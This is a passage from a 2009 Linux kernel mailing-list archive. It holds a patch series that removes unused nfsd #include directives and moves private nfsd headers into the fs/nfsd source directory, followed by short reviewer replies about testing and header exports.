--- a/fs/nfsd/nfsctl.c
+++ b/fs/nfsd/nfsctl.c
@@ -11,12 +11,13 @@
 
 #include <linux/nfsd_idmap.h>
 #include <linux/sunrpc/svcsock.h>
-#include <linux/nfsd/nfsd.h>
-#include <linux/nfsd/cache.h>
 #include <linux/nfsd/syscall.h>
 #include <linux/lockd/lockd.h>
 #include <linux/sunrpc/clnt.h>
 
+#include "nfsd.h"
+#include "cache.h"
+
 /*
  *	We have a single directory with 9 nodes in it.
  */
diff --git a/include/linux/nfsd/nfsd.h b/fs/nfsd/nfsd.h
similarity index 100%
rename from include/linux/nfsd/nfsd.h
rename to fs/nfsd/nfsd.h
diff --git a/fs/nfsd/nfsfh.c b/fs/nfsd/nfsfh.c
index 4ef4601..2bf9efb 100644
--- a/fs/nfsd/nfsfh.c
+++ b/fs/nfsd/nfsfh.c
@@ -12,7 +12,7 @@
 #include <linux/exportfs.h>
 
 #include <linux/sunrpc/svcauth_gss.h>
-#include <linux/nfsd/nfsd.h>
+#include "nfsd.h"
 #include "vfs.h"
 #include "auth.h"
 
diff --git a/fs/nfsd/nfsproc.c b/fs/nfsd/nfsproc.c
index b6bd9e0..21a5f79 100644
--- a/fs/nfsd/nfsproc.c
+++ b/fs/nfsd/nfsproc.c
@@ -9,8 +9,8 @@
 
 #include <linux/namei.h>
 
-#include <linux/nfsd/cache.h>
-#include <linux/nfsd/xdr.h>
+#include "cache.h"
+#include "xdr.h"
 #include "vfs.h"
 
 typedef struct svc_rqst	svc_rqst;
diff --git a/fs/nfsd/nfssvc.c b/fs/nfsd/nfssvc.c
index b2d7ffa..b520ce1 100644
--- a/fs/nfsd/nfssvc.c
+++ b/fs/nfsd/nfssvc.c
@@ -15,11 +15,11 @@
 
 #include <linux/sunrpc/stats.h>
 #include <linux/sunrpc/svcsock.h>
-#include <linux/nfsd/nfsd.h>
-#include <linux/nfsd/cache.h>
 #include <linux/lockd/bind.h>
 #include <linux/nfsacl.h>
 #include <linux/seq_file.h>
+#include "nfsd.h"
+#include "cache.h"
 #include "vfs.h"
 
 #define NFSDDBG_FACILITY	NFSDDBG_SVC
diff --git a/fs/nfsd/nfsxdr.c b/fs/nfsd/nfsxdr.c
index 5e0603d..3bec831 100644
--- a/fs/nfsd/nfsxdr.c
+++ b/fs/nfsd/nfsxdr.c
@@ -6,7 +6,7 @@
  * Copyright (C) 1995, 1996 Olaf Kirch <okir@monad.swb.de>
  */
 
-#include <linux/nfsd/xdr.h>
+#include "xdr.h"
 #include "auth.h"
 
 #define NFSDDBG_FACILITY		NFSDDBG_XDR
diff --git a/include/linux/nfsd/state.h b/fs/nfsd/state.h
similarity index 100%
rename from include/linux/nfsd/state.h
rename to fs/nfsd/state.h
diff --git a/fs/nfsd/stats.c b/fs/nfsd/stats.c
index e3e411e..3fc69df 100644
--- a/fs/nfsd/stats.c
+++ b/fs/nfsd/stats.c
@@ -25,11 +25,11 @@
 
 #include <linux/seq_file.h>
 #include <linux/module.h>
-
 #include <linux/sunrpc/stats.h>
-#include <linux/nfsd/nfsd.h>
 #include <linux/nfsd/stats.h>
 
+#include "nfsd.h"
+
 struct nfsd_stats	nfsdstats;
 struct svc_stat		nfsd_svcstats = {
 	.program	= &nfsd_program,
diff --git a/fs/nfsd/vfs.c b/fs/nfsd/vfs.c
index 81ce108..04bdba1 100644
--- a/fs/nfsd/vfs.c
+++ b/fs/nfsd/vfs.c
@@ -22,23 +22,25 @@
 #include <linux/fcntl.h>
 #include <linux/namei.h>
 #include <linux/delay.h>
-#include <linux/nfsd/nfsd.h>
-#ifdef CONFIG_NFSD_V3
-#include <linux/nfsd/xdr3.h>
-#endif /* CONFIG_NFSD_V3 */
 #include <linux/quotaops.h>
 #include <linux/fsnotify.h>
 #include <linux/posix_acl_xattr.h>
 #include <linux/xattr.h>
+#include <linux/jhash.h>
+#include <linux/ima.h>
+#include <asm/uaccess.h>
+
+#ifdef CONFIG_NFSD_V3
+#include "xdr3.h"
+#endif /* CONFIG_NFSD_V3 */
+
 #ifdef CONFIG_NFSD_V4
 #include <linux/nfs4_acl.h>
 #include <linux/nfsd_idmap.h>
 #endif /* CONFIG_NFSD_V4 */
-#include <linux/jhash.h>
-#include <linux/ima.h>
-#include "vfs.h"
 
-#include <asm/uaccess.h>
+#include "nfsd.h"
+#include "vfs.h"
 
 #define NFSDDBG_FACILITY		NFSDDBG_FILEOP
 
diff --git a/include/linux/nfsd/xdr.h b/fs/nfsd/xdr.h
similarity index 99%
rename from include/linux/nfsd/xdr.h
rename to fs/nfsd/xdr.h
index 58f824d..235ee5c 100644
--- a/include/linux/nfsd/xdr.h
+++ b/fs/nfsd/xdr.h
@@ -8,7 +8,7 @@
 #define LINUX_NFSD_H
 
 #include <linux/vfs.h>
-#include <linux/nfsd/nfsd.h>
+#include "nfsd.h"
 
 struct nfsd_fhandle {
 	struct svc_fh		fh;
diff --git a/include/linux/nfsd/xdr3.h b/fs/nfsd/xdr3.h
similarity index 99%
rename from include/linux/nfsd/xdr3.h
rename to fs/nfsd/xdr3.h
index 421eddd..b330756 100644
--- a/include/linux/nfsd/xdr3.h
+++ b/fs/nfsd/xdr3.h
@@ -9,7 +9,7 @@
 #ifndef _LINUX_NFSD_XDR3_H
 #define _LINUX_NFSD_XDR3_H
 
-#include <linux/nfsd/xdr.h>
+#include "xdr.h"
 
 struct nfsd3_sattrargs {
 	struct svc_fh		fh;
diff --git a/include/linux/nfsd/xdr4.h b/fs/nfsd/xdr4.h
similarity index 99%
rename from include/linux/nfsd/xdr4.h
rename to fs/nfsd/xdr4.h
index 1bf2662..83202a1 100644
--- a/include/linux/nfsd/xdr4.h
+++ b/fs/nfsd/xdr4.h
@@ -39,8 +39,8 @@
 #ifndef _LINUX_NFSD_XDR4_H
 #define _LINUX_NFSD_XDR4_H
 
-#include <linux/nfsd/state.h>
-#include <linux/nfsd/nfsd.h>
+#include "state.h"
+#include "nfsd.h"
 
 #define NFSD4_MAX_TAGLEN	128
 #define XDR_LEN(n)                     (((n) + 3) & ~3)
-- 
1.6.5.2



From - Thu Nov 08 21:05:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Boaz Harrosh <bharrosh@panasas.com>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 3/5] s390: remove unused nfsd #includes
Date: Tue, 24 Nov 2009 20:02:00 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <4B0C1F98.4000204@panasas.com>
References: <4B0C1EB7.50508@panasas.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1259086708 6293 80.91.229.12 (24 Nov 2009 18:18:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Nov 2009 18:18:28 +0000 (UTC)
To: "J. Bruce Fields" <bfields@citi.umich.edu>,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	sparclinux <sparclinux@vger.kernel.org>,
	linux-s
Original-X-From: sparclinux-owner@vger.kernel.org Tue Nov 24 19:18:21 2009
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NCzy1-0005rx-21
	for lnx-sparclinux@lo.gmane.org; Tue, 24 Nov 2009 19:18:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933762AbZKXSQp (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Tue, 24 Nov 2009 13:16:45 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S933680AbZKXSQi
	(ORCPT <rfc822;sparclinux-outgoing>);
	Tue, 24 Nov 2009 13:16:38 -0500
Original-Received: from daytona.panasas.com ([67.152.220.89]:33713 "EHLO
	daytona.int.panasas.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S932245AbZKXSQg (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Tue, 24 Nov 2009 13:16:36 -0500
X-Greylist: delayed 917 seconds by postgrey-1.27 at vger.kernel.org; Tue, 24 Nov 2009 13:16:36 EST
Original-Received: from bh-buildlin2.bhalevy.com ([172.17.33.254]) by daytona.int.panasas.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Tue, 24 Nov 2009 13:02:02 -0500
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20090924 Remi/fc10 Thunderbird/3.0b4
In-Reply-To: <4B0C1EB7.50508@panasas.com>
X-OriginalArrivalTime: 24 Nov 2009 18:02:02.0776 (UTC) FILETIME=[39B8F180:01CA6D30]
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:12506 gmane.linux.kernel:918242 gmane.linux.ports.parisc:2358
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2358>


Some unused includes removed.

This patch is in an effort to cleanup nfsd headers and move
private definitions to source directory.

Signed-off-by: Boaz Harrosh <bharrosh@panasas.com>
---
 arch/s390/kernel/compat_linux.c |    6 ------
 arch/s390/kernel/compat_linux.h |    4 ----
 2 files changed, 0 insertions(+), 10 deletions(-)

diff --git a/arch/s390/kernel/compat_linux.c b/arch/s390/kernel/compat_linux.c
index 0debcec..29a2f34 100644
--- a/arch/s390/kernel/compat_linux.c
+++ b/arch/s390/kernel/compat_linux.c
@@ -31,14 +31,8 @@
 #include <linux/shm.h>
 #include <linux/slab.h>
 #include <linux/uio.h>
-#include <linux/nfs_fs.h>
 #include <linux/quota.h>
 #include <linux/module.h>
-#include <linux/sunrpc/svc.h>
-#include <linux/nfsd/nfsd.h>
-#include <linux/nfsd/cache.h>
-#include <linux/nfsd/xdr.h>
-#include <linux/nfsd/syscall.h>
 #include <linux/poll.h>
 #include <linux/personality.h>
 #include <linux/stat.h>
diff --git a/arch/s390/kernel/compat_linux.h b/arch/s390/kernel/compat_linux.h
index c07f9ca..81d6ee8 100644
--- a/arch/s390/kernel/compat_linux.h
+++ b/arch/s390/kernel/compat_linux.h
@@ -4,10 +4,6 @@
 #include <linux/compat.h>
 #include <linux/socket.h>
 #include <linux/syscalls.h>
-#include <linux/nfs_fs.h>
-#include <linux/sunrpc/svc.h>
-#include <linux/nfsd/nfsd.h>
-#include <linux/nfsd/export.h>
 
 /* Macro that masks the high order bit of an 32 bit pointer and converts it*/
 /*       to a 64 bit pointer */
-- 
1.6.5.2


--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Boaz Harrosh <bharrosh@panasas.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH 4/5] lockd: Remove unused nfsd headers #includes
Date: Tue, 24 Nov 2009 20:03:12 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <4B0C1FE0.8040105@panasas.com>
References: <4B0C1EB7.50508@panasas.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1259086710 6305 80.91.229.12 (24 Nov 2009 18:18:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Nov 2009 18:18:30 +0000 (UTC)
To: "J. Bruce Fields" <bfields@citi.umich.edu>,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	sparclinux <sparclinux@vger.kernel.org>,
	linux-s
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S933755AbZKXSQq@vger.kernel.org Tue Nov 24 19:18:24 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S933755AbZKXSQq@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NCzy3-0005rx-Nu
	for glk-linux-kernel-3@lo.gmane.org; Tue, 24 Nov 2009 19:18:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933755AbZKXSQq (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 24 Nov 2009 13:16:46 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S933727AbZKXSQj
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Tue, 24 Nov 2009 13:16:39 -0500
Original-Received: from daytona.panasas.com ([67.152.220.89]:33713 "EHLO
	daytona.int.panasas.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S932866AbZKXSQh (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 24 Nov 2009 13:16:37 -0500
X-Greylist: delayed 917 seconds by postgrey-1.27 at vger.kernel.org; Tue, 24 Nov 2009 13:16:36 EST
Original-Received: from bh-buildlin2.bhalevy.com ([172.17.33.254]) by daytona.int.panasas.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Tue, 24 Nov 2009 13:03:14 -0500
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20090924 Remi/fc10 Thunderbird/3.0b4
In-Reply-To: <4B0C1EB7.50508@panasas.com>
X-OriginalArrivalTime: 24 Nov 2009 18:03:14.0918 (UTC) FILETIME=[64B8F060:01CA6D30]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:918243 gmane.linux.ports.parisc:2359 gmane.linux.ports.sparc:12507
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2359>


In what history where these ever needed? Well not
any more.

Signed-off-by: Boaz Harrosh <bharrosh@panasas.com>
---
 fs/lockd/svc4proc.c |    4 ----
 fs/lockd/svcproc.c  |    4 ----
 2 files changed, 0 insertions(+), 8 deletions(-)

diff --git a/fs/lockd/svc4proc.c b/fs/lockd/svc4proc.c
index bd173a6..a7966ee 100644
--- a/fs/lockd/svc4proc.c
+++ b/fs/lockd/svc4proc.c
@@ -11,10 +11,6 @@
 #include <linux/time.h>
 #include <linux/slab.h>
 #include <linux/smp_lock.h>
-#include <linux/in.h>
-#include <linux/sunrpc/svc.h>
-#include <linux/sunrpc/clnt.h>
-#include <linux/nfsd/nfsd.h>
 #include <linux/lockd/lockd.h>
 #include <linux/lockd/share.h>
 
diff --git a/fs/lockd/svcproc.c b/fs/lockd/svcproc.c
index e1d28dd..56c9519 100644
--- a/fs/lockd/svcproc.c
+++ b/fs/lockd/svcproc.c
@@ -11,10 +11,6 @@
 #include <linux/time.h>
 #include <linux/slab.h>
 #include <linux/smp_lock.h>
-#include <linux/in.h>
-#include <linux/sunrpc/svc.h>
-#include <linux/sunrpc/clnt.h>
-#include <linux/nfsd/nfsd.h>
 #include <linux/lockd/lockd.h>
 #include <linux/lockd/share.h>
 
-- 
1.6.5.2



From - Thu Nov 08 21:05:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>
Newsgroups: gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: [PATCHSET 0-5] remove unneeded nfsd #includes
Date: Tue, 24 Nov 2009 14:27:06 -0700
Lines: 51
Approved: news@gmane.org
Message-ID: <20091124212706.GB25755@lackof.org>
References: <4B0C1EB7.50508@panasas.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1259098044 11964 80.91.229.12 (24 Nov 2009 21:27:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Nov 2009 21:27:24 +0000 (UTC)
Cc: "J. Bruce Fields" <bfields-vtMw8L3fJ9vSiEDVxGk4TQ@public.gmane.org>,
	Linux Kernel <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-parisc <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	sparclinux <sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-s390 <linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	NFS list <linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	pNFS Mailing List <pnfs-6DNke4IJHB0gsBAKwltoeQ@public.gmane.org>,
	Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
To: Boaz Harrosh <bharrosh-C4P08NqkoRlBDgjK7y7TUQ@public.gmane.org>
Original-X-From: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Nov 24 22:27:16 2009
Return-path: <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1ND2up-0005Ak-Qf
	for glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org; Tue, 24 Nov 2009 22:27:16 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S933966AbZKXV1E (ORCPT <rfc822;glN-linux-nfs@m.gmane.org>);
	Tue, 24 Nov 2009 16:27:04 -0500
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org id S934071AbZKXV1E
	(ORCPT <rfc822;linux-nfs-outgoing>); Tue, 24 Nov 2009 16:27:04 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:39835 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S934007AbZKXV1B (ORCPT
	<rfc822;linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Tue, 24 Nov 2009 16:27:01 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 8EF1033E0168;
	Tue, 24 Nov 2009 14:27:07 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id VN5YrOexfsWc; Tue, 24 Nov 2009 14:27:06 -0700 (MST)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id E468133E0177; Tue, 24 Nov 2009 14:27:06 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <4B0C1EB7.50508-C4P08NqkoRlBDgjK7y7TUQ@public.gmane.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-nfs.vger.kernel.org>
X-Mailing-List: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.nfs:29585 gmane.linux.kernel:918378 gmane.linux.ports.parisc:2360 gmane.linux.ports.sparc:12511
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2360>

On Tue, Nov 24, 2009 at 07:58:15PM +0200, Boaz Harrosh wrote:
> Some arch files had unneeded #includes directives from linux/nfsd/*.
> Some vfs files had unneeded #includes directives from linux/nfsd/*.
...
> patches:
> [PATCH 1/5] parsic: remove unused nfsd #includes
> 	Some kind soul, please compile with this patch? compile
> 	is all that's needed.

Boaz,
linux-2.6 compiles for parisc with this patch. Please add:
    Tested-by: Grant Grundler <grundler-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>

thanks,
grant

> 
> [PATCH 2/5] sparc: remove unused nfsd #includes
> [PATCH 3/5] s390: remove unused nfsd #includes
> 	These two were cross compiled. Should we submit them through
> 	nfsd tree or the ARCH trees?
> 
> [PATCH 4/5] vfs: nfsctl.c unused nfsd #includes
> [PATCH 5/5] lockd: Remove unused nfsd headers #includes
> 	Can these patches go through the nfsd tree?
> 	Who's ACKs should we collect? Andrew?
> 
> Bruce Hi
> With this set applied, the only nfsd files used publicly are:
> 	const.h	export.h nfsfh.h stats.h syscall.h
> 
> These files can be moved to source folder:
> 	cache.h  debug.h  nfsd.h  state.h xdr3.h  xdr4.h  xdr.h
> 
> Why is debug.h exported from Kernel? (include/linux/nfsd/Kbuild)
> 
> So just to see how this move might look like see last patch:
> [RFC] nfsd: Move private headers to source directory
> 	This patch was compiled, as well, on x86(32/64), sparc64, s390
> 
> Thanks
> Boaz
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "J. Bruce Fields" <bfields@citi.umich.edu>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.sparc,gmane.linux.nfs
Subject: Re: [PATCHSET 0-5] remove unneeded nfsd #includes
Date: Tue, 24 Nov 2009 18:08:52 -0500
Lines: 12
Approved: news@gmane.org
Message-ID: <20091124230852.GA468@fieldses.org>
References: <4B0C1EB7.50508@panasas.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1259104108 31448 80.91.229.12 (24 Nov 2009 23:08:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Nov 2009 23:08:28 +0000 (UTC)
Cc: Linux Kernel <linux-kernel@vger.kernel.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	sparclinux <sparclinux@vger.kernel.org>,
	linux-s390 <linux-s390@vger.kernel.org>,
	NFS list <linux-nfs@vger.kernel.org>,
	pNFS Mailing List <pnfs@linux-nfs.org>,
	Andrew Morton <akpm@linux-foundation.org>
To: Boaz Harrosh <bharrosh@panasas.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 25 00:08:20 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1ND4Ua-0007or-7h
	for glpp-linux-parisc@lo.gmane.org; Wed, 25 Nov 2009 00:08:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934357AbZKXXII (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 Nov 2009 18:08:08 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S934280AbZKXXII
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 24 Nov 2009 18:08:08 -0500
Original-Received: from fieldses.org ([174.143.236.118]:44236 "EHLO fieldses.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S934173AbZKXXIG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 Nov 2009 18:08:06 -0500
Original-Received: from bfields by fieldses.org with local (Exim 4.69)
	(envelope-from <bfields@fieldses.org>)
	id 1ND4VA-00008a-L6; Tue, 24 Nov 2009 18:08:52 -0500
Content-Disposition: inline
In-Reply-To: <4B0C1EB7.50508@panasas.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2361 gmane.linux.kernel:918422 gmane.linux.ports.sparc:12523 gmane.linux.nfs:29592
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2361>

On Tue, Nov 24, 2009 at 07:58:15PM +0200, Boaz Harrosh wrote:
> Why is debug.h exported from Kernel? (include/linux/nfsd/Kbuild)

I suppose it's so rpcdebug can get the rpc debug flags; see e.g.
nfs-utils/tools/rpcdebug/rpcdebug.c.

--b.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schwidefsky <schwidefsky@de.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.sparc,gmane.linux.nfs
Subject: Re: [PATCH 3/5] s390: remove unused nfsd #includes
Date: Wed, 25 Nov 2009 09:38:23 +0100
Organization: IBM Corporation
Lines: 28
Approved: news@gmane.org
Message-ID: <20091125093823.7b079905@mschwide.boeblingen.de.ibm.com>
References: <4B0C1EB7.50508@panasas.com>
	<4B0C1F98.4000204@panasas.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1259138320 7207 80.91.229.12 (25 Nov 2009 08:38:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 25 Nov 2009 08:38:40 +0000 (UTC)
Cc: "J. Bruce Fields" <bfields@citi.umich.edu>,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	sparclinux <sparclinux@vger.kernel.org>,
	linux-s390 <linux-s390@vger.kernel.org>,
	NFS list <linux-nfs@vger.kernel.org>,
	pNFS Mailing List <pnfs@linux-nfs.org>,
	Andrew Morton <akpm@linux-foundation.org>
To: Boaz Harrosh <bharrosh@panasas.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 25 09:38:32 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NDDOP-0004Fl-6s
	for glpp-linux-parisc@lo.gmane.org; Wed, 25 Nov 2009 09:38:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933719AbZKYIiV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 25 Nov 2009 03:38:21 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S933533AbZKYIiV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 25 Nov 2009 03:38:21 -0500
Original-Received: from mtagate2.de.ibm.com ([195.212.17.162]:38480 "EHLO
	mtagate2.de.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751801AbZKYIiT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 25 Nov 2009 03:38:19 -0500
Original-Received: from d12nrmr1607.megacenter.de.ibm.com (d12nrmr1607.megacenter.de.ibm.com [9.149.167.49])
	by mtagate2.de.ibm.com (8.13.1/8.13.1) with ESMTP id nAP8cPks001333;
	Wed, 25 Nov 2009 08:38:25 GMT
Original-Received: from d12av02.megacenter.de.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228])
	by d12nrmr1607.megacenter.de.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id nAP8cP8f954416;
	Wed, 25 Nov 2009 09:38:25 +0100
Original-Received: from d12av02.megacenter.de.ibm.com (loopback [127.0.0.1])
	by d12av02.megacenter.de.ibm.com (8.12.11.20060308/8.13.3) with ESMTP id nAP8cOa4020231;
	Wed, 25 Nov 2009 09:38:25 +0100
Original-Received: from mschwide.boeblingen.de.ibm.com (dyn-9-152-212-93.boeblingen.de.ibm.com [9.152.212.93])
	by d12av02.megacenter.de.ibm.com (8.12.11.20060308/8.12.11) with ESMTP id nAP8cOfa020216;
	Wed, 25 Nov 2009 09:38:24 +0100
In-Reply-To: <4B0C1F98.4000204@panasas.com>
X-Mailer: Claws Mail 3.7.3 (GTK+ 2.18.3; i486-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2362 gmane.linux.kernel:918583 gmane.linux.ports.sparc:12527 gmane.linux.nfs:29594
